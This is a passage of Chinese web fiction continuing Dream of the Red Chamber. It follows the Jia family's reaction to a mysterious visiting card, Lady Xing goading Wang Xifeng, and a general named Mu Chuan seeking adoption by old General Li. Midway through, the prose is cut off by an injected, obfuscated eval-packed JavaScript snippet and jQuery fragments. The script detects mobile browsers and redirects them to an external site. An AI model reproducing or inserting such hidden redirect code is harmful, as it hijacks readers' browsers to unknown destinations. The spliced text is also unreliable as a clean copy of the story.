贾宝玉先去换了衣服。
虽然他搬去大观园已经好几年了,但贾母处还给他和林黛玉留了房子,衣物等也是一应俱全的。
鸳鸯亲自带了小丫鬟伺候贾宝玉洗漱。
知道贾母着急,而且今儿的确是回来得晚了,贾宝玉也不和丫鬟们玩闹,规规矩矩只道了几声谢,很快收拾妥当,出去先给贾母请安。
“他这个礼,谁都挑不出毛病来。”邢夫人先夸了一句。
王夫人脸上有淡淡的得意笑容:“宝玉天性纯良,最是孝顺。”
待贾宝玉给屋里众长辈一一行过礼,又跟林黛玉笑笑,这才坐在桌边,小丫鬟掀了盖子,给他盛饭。
“其实茶泡饭就成,还这样丰盛。”
“出去一天。”王夫人道:“要好好吃饭,你这个年纪正长身体,一顿都饿不得。”
众人都看贾宝玉吃饭。
贾宝玉从小众星捧月的长大,被一屋子人围看着吃饭也没觉得别扭,他眉飞色舞地说个不停。
“今儿是真长见识了,那将军有我两个大,肩膀有这么宽——马都比我高,只是带着头盔看不见脸,不知长了怎样一副容貌。”
薛宝钗笑道:“你可少说两句吧。好生吃饭,仔细一会儿呛着。”
贾宝玉又跟林黛玉挑了挑眉毛。
林黛玉起身给他倒了清茶,怕晚上睡不好,只倒了小半杯,又兑了些热水:“你要的茶泡饭。”
“还是妹妹知道我。”贾宝玉把茶倒在饭里,又跟贾母解释道:“饭干了些,这样正好。”
贾母不甚在意,王夫人倒是又隐晦地看了林黛玉一眼,薛宝钗就在王夫人身边坐着,看得一清二楚。
“颦儿跟宝兄弟自小一起长大,原是该亲近些的。”
果然,这话一说出口,王夫人嘴角又往下耷拉了些。
贾宝玉两口把饭扒拉到嘴里,放下碗,笑道:“吃饱了。那将军着实魁梧,就是身上盔甲等物都是破的,胸口划开好大一片,用链条连着,还有不少锈迹。”
其实他猜多半是血迹,只是一来贾宝玉也没见过陈年旧血,二来他也怕吓着这一屋子的姑娘,所以只说是锈。
贾宝玉说了魁梧的将军,跪在囚车里的土司,后头几车的囚犯,还有几车锋利的兵器等等战力品,又找补似的笑。
“没有戏台上的将军热闹,看不看都一样。戏台上的将军穿得喜庆,背后还插着彩旗,还会翻跟头呢。”
这样逗趣儿并且充满了童真的话语叫贾母笑了出来:“下回请戏班子,就找个能唱将军的武生。十月了……你老爷的生辰就在十一月,他虽然外放,咱们请个戏班子热闹热闹,就当给你老爷祝寿。”
邢夫人脸上是礼节性的微笑,看了李纨一眼,李纨也是十一月的,只是寡妇嘛,就这样了。
“咱们家里毕竟是军功出身,对将军总该敬重些的。”邢夫人刺儿了一句,“虽总夸宝玉是女孩儿一样的人品,也别真养成女孩儿了。”
贾母脸色都变了,王熙凤恨得牙痒痒,她是真的不想好好过是吧?
邢夫人不太在意,贾母年纪越发的大,能压住哪个?
怎么,王家人能占老太太的便宜,薛家人也能占老太太的便宜,她们大房,她邢夫人就占不得?
生气了无非就是一句——
“天要黑了,你路远,回去伺候你们老爷吧。”
一听见自己猜得分毫不错,邢夫人脸上笑容竟然真挚起来,她起身福了福:“老太太好生歇息,我这就走了。”
邢夫人走得干脆,王夫人就这么一个儿子,私下里她也总觉得不争气,但是被人这么点名出来,她一样过不去。
“土司信佛,长得也是慈眉善目的。听说那日擒他的时候,当着他的面杀了他的儿子,哪有这么办事儿的?杀戮太重,不是有福之人。”
这么一长串话说出来,王夫人心气儿顺了一点点,端起茶杯正要喝水呢,就见邢夫人又回来了,表情还有点微妙。
王夫人眉头一皱,邢夫人让开身子,让出后头的婆子来。
那婆子手上捧着个帖子:“是忠勇伯的帖子,说是跟林大人有旧,要来拜访林姑娘。”
啊?
“忠勇伯是谁?”
屋里所有人都看向林黛玉。
林黛玉摇了摇头:“不曾听父亲提起过。”
大家又看向贾母。
一点消息都没有,就一个忠勇伯的名号,贾母也没办法。
最是激灵的王熙凤道:“我也不曾听说有个忠勇伯……会不会是今天才封的,午门献俘那个?”
才刚说过人闲话,王夫人有点尴尬,她木着脸道:“如今什么人都能封爵了,我们王家开国的从龙之功,也不过封了个伯。”
这话听着像是泄愤,王熙凤急忙打哈哈过去:“回头叫二爷再去打听打听,倒也不忙回。”
贾母却皱了皱眉头,道:“谁家的好女儿见外客的?”
她稍顿片刻,吩咐林黛玉:“写信回绝了,客气一些。”
林黛玉应了声好,也没别的话。
薛宝钗下意识看了史湘云一眼,她平日里总说去南安王府如何如何,去庆阳伯府又如何如何,可见史家就没有把女孩子关在家里的传统。
那老太太干嘛不叫颦丫头去见见人呢?
总不能是……老太太把颦丫头说的“和尚说她不能见外人”当真了吧?
和尚的话也能信?那她那个和尚,老太太怎么不信呢?
“行了,都散了吧。”贾母道,又再次吩咐林黛玉:“回去写信,客气些。”
林黛玉又是一声好。
贾宝玉一向最听贾母的话,也帮着道:“不见是应该的,可见他一点礼仪都不懂。”
他这么一说,贾母反而心有踌躇。
也许是想跟贾府相交,但因为出身太低,不知道该怎么办?这才寻了个借口。
贾母不由得怨恨起她没出息的儿孙们了,消息一点不灵通,还怎么撑得起国公府的架子?
“先不忙回绝,等琏儿打听回来再说吧。”
林黛玉又是一声好。
贾宝玉看她眼睛往贾母手里帖子上瞄,便把手一伸:“叫我看看他写了什么。”
帖子到了贾宝玉手上,他笑道:“好了,都散了吧。”说完又给林黛玉使了个眼色:咱们回去看。
贾母笑盈盈地看着她的一对玉儿,越发衬得王夫人阴郁晦暗了。
众人从贾母屋里出来,邢夫人把王熙凤一拉,到了角落处。
“我劝你手里松快些。你院里好容易进了两个人,你闹得鸡飞狗跳,不得安宁,秋桐整日来找我说受了委屈,哪怕回来扫地,也比现在强。阖府上下哪个不知道你善妒?你非得坐实这名号不成?”
王熙凤病着,脸色本是苍白,生生被气出血色来。
“我不曾——”
“你跟我说没用。”邢夫人语重心长地劝,当然是装的:“你看看宝玉屋里的丫鬟,再看看琏儿屋里的丫鬟?就不说前后两个鲍二家的,他都给你逼得找小厮了。你行行好,就当可怜可怜大房名声如何?”
邢夫人看着王熙凤面皮涨红,心中得意,现在知道这滋味不好受了?
“我不曾。”王熙凤终于是说出话来,咬着牙一字字往外头挤,“如今这两个,在我屋里很好。”
邢夫人叹了口气:“你说你要是早年就找两个,何苦沦落到现在这个地步?秋桐是老爷赏赐的,二姐儿是隔壁尤氏的妹妹,你拿捏得住哪一个?你早干嘛去了!”
邢夫人说完就走,管他王熙凤什么反应呢。
活该这些人也受委屈。
她邢夫人就没受委屈?全家都说她贪财,她贪什么了?
地租是周瑞管,二房的人。
女眷出行是周瑞家的管,二房的人。
女眷合并丫鬟的月钱是谁管,王熙凤。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973441|177834||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
对外的庶务谁管?贾琏。
她邢夫人连自家院子都管不了,她从哪里贪银子?
好容易有个秦显家的,勉强跟她的陪房王善保家的有些亲戚关系,摸上了大观园的小厨房,屁股还没坐热呢,又被平儿撸了。
合着好处全叫姓王的这一家子贪了,轮到她这儿就剩一口黑锅。
邢夫人回头看了一眼,见王熙凤原地站着一动不动,眉头紧锁满脸怒意,便冷哼一声,骂道:“活该!”
另一边,新出炉的定南侯府,穆川带着手下美美吃了一顿。
吃过饭,下来就该认人了。
李老将军离家过年,又是告老还乡,还封了侯爵,除了留在军中的子孙,嫁在京城的女儿孙女儿们都带着夫婿孩子回来了。
一屋子人十分热闹。
李老将军一个个给他介绍:“这是我的老妻。”
穆川上前行礼:“侯夫人。”
张夫人笑得眯起了眼睛。
“军中那些你都见过了,留在家里的——这是我的二儿子,管着家里庶务,小孙子就不用我多介绍了。”
李承武等他二叔打过招呼,上前叫了一声:“川哥。”
“大女儿一家子,二女儿一家子。”
穆川也一一打过招呼。家里这么多孩子,肯定不是张夫人一人生的,好在有个李承武提前都跟他讲清楚了,穆川也没失礼。
“留在家里的孙女儿六个,年长的两个已经成亲了,年幼的两个一个还得人抱着,一个刚六岁,只是这两日吹了风,就先不叫你见了。这是宜香,这是宜兰。”
穆川拿了红封出来,给年幼的孩子们一人发了一个,没来的两个,就让李承武转交了:“东西还在箱子里,先拿这个顶数。”
李老将军笑道:“都拿着吧,跟他不必客气。”
介绍过一通,李老将军带着穆川去了书房,粗略问了问见皇帝的事儿,又听闻还见了太上皇,知道没什么大碍也就过去了。
“你今年也二十五了。”李老将军感慨道。
穆川跟李老将军是极熟的,也没客气,直接便道:“公若不弃,川愿拜为义父。”
李老将军愣了愣,欣喜若狂。
穆川又道:“四年前那一箭,我差点丧命,是将军救我性命,又给我取了个名字川。”
原主叫穆三,家里排行老三,重伤弥留之时,是李老将军发现了他,带他回军营治伤,又给他改了名字,从三变成了川,躺着变成站着,也是希望他伤能早点好。
接下来的四年,穆川可以说是青云直上,从驾战车的士兵,一路到了麾下上万士兵的先锋将军,如今更是封了一等伯,虽然不世袭,就这一代,但也是万中无一的功绩。
李老将军就是他的伯乐。
“哈哈!”李老将军捋着长须,笑道:“你是没看上宜兰也没看上宜香啊。”
穆川玩笑道:“成亲成不好就成了怨侣,还是认了义父更亲近些。”
李老将军一向看中穆川,不然也不能一直提拔他,他满意地看着穆川,半晌认真道:“我这三个儿子——”
“现在是四个了。”
李老将军顿时就严肃不下去了:“平南镇的确是需要一个能在朝中周旋的人,你那三个哥哥打仗可以,人却过于老实,挡不住文官的花花肠子。”
他站起身来:“将来的事情将来再说,先去休息,我吩咐他们准备了热水,好好泡一泡。”
“义父——”
“先不忙喊义父。”这次是李老将军打断了穆川:“等开过宗祠吃过酒再说。”
两人一前一后从书房里出来,李承武还在外头等着。
“祖父,川哥。”
李老将军笑眯眯拍着他的肩膀:“以后不能叫川哥了,要叫川叔。”
穆川眉头一皱,故意道:“听着像是叫管家,还是叫四叔的好。”
欣喜若狂的人顿时又多出一个来。